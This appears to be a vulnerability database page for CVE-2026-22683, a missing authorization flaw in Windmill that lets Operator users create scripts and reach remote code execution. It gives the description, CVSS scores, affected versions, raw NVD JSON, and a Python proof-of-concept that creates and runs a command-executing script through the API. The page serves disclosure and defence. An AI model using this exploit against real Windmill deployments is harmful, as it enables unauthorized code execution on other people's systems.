Security Vulnerability Report
中文
CVE-2026-22683 CVSS 8.8 HIGH

CVE-2026-22683

Published: 2026-04-07 17:16:27
Last Modified: 2026-04-24 16:49:50

Description

Windmill versions 1.56.0 through 1.614.0 contain a missing authorization vulnerability that allows users with the Operator role to perform prohibited entity creation and modification actions via the backend API. Although Operators are documented and priced as unable to create or modify entities, the API does not enforce the Operator restriction on workspace endpoints, allowing an Operator to create and update scripts, flows, apps, and raw_apps. Since Operators can also execute scripts via the jobs API, this allows direct privilege escalation to remote code execution within the Windmill deployment. This vulnerability has existed since the introduction of the Operator role in version 1.56.0.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nextcloud:flow:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:windmill:windmill:*:*:*:*:*:*:*:* - VULNERABLE
Windmill 1.56.0 - 1.614.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration TARGET_URL = "https://windmill-target.com" WORKSPACE = "demo" API_TOKEN = "OPERATOR_USER_TOKEN" # Low-privilege Operator token headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Step 1: Create a malicious script exploiting the missing authorization # The API should reject this for an Operator, but it doesn't in vulnerable versions. script_name = "f/malicious_payload" create_script_url = f"{TARGET_URL}/api/w/{WORKSPACE}/{script_name}" payload = { "content": "import os; os.system('id')", # Arbitrary command execution "language": "python3", "is_template": False } print(f"[*] Attempting to create script at {create_script_url}...") response = requests.put(create_script_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Script created successfully! Authorization bypassed.") # Step 2: Execute the script using the Jobs API # Operators inherently have permission to run jobs. run_job_url = f"{TARGET_URL}/api/jobs/run/{script_name}" print(f"[*] Triggering execution via {run_job_url}...") exec_response = requests.post(run_job_url, headers=headers) if exec_response.status_code == 200: print("[+] Job executed successfully.") print(f"[+] Job details: {exec_response.json()}") else: print(f"[-] Execution failed: {exec_response.text}") else: print(f"[-] Failed to create script: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22683", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:27.037", "lastModified": "2026-04-24T16:49:50.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Windmill versions 1.56.0 through 1.614.0 contain a missing authorization vulnerability that allows users with the Operator role to perform prohibited entity creation and modification actions via the backend API. Although Operators are documented and priced as unable to create or modify entities, the API does not enforce the Operator restriction on workspace endpoints, allowing an Operator to create and update scripts, flows, apps, and raw_apps. Since Operators can also execute scripts via the jobs API, this allows direct privilege escalation to remote code execution within the Windmill deployment. This vulnerability has existed since the introduction of the Operator role in version 1.56.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:flow:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndIncluding": "1.2.2", "matchCriteriaId": "390C858F-42E9-41D5-AE97-11242088C2F0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:windmill:windmill:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.56.0", "versionEndIncluding": "1.614.0", "matchCriteriaId": "DC07ED1D-F0A4-4A59-AA24-52BF463E7D2D"}]}]}], "references": [{"url": "https://apps.nextcloud.com/apps/flow/releases", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/Chocapikk/Windfall", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/windmill-labs/windmill/commit/c621a74804f4f6e8318819c01e3a23a17698588b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/windmill-labs/windmill/releases/tag/v1.615.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.windmill.dev/", "source": "[email protected]", "tags": ["Product"]}]}}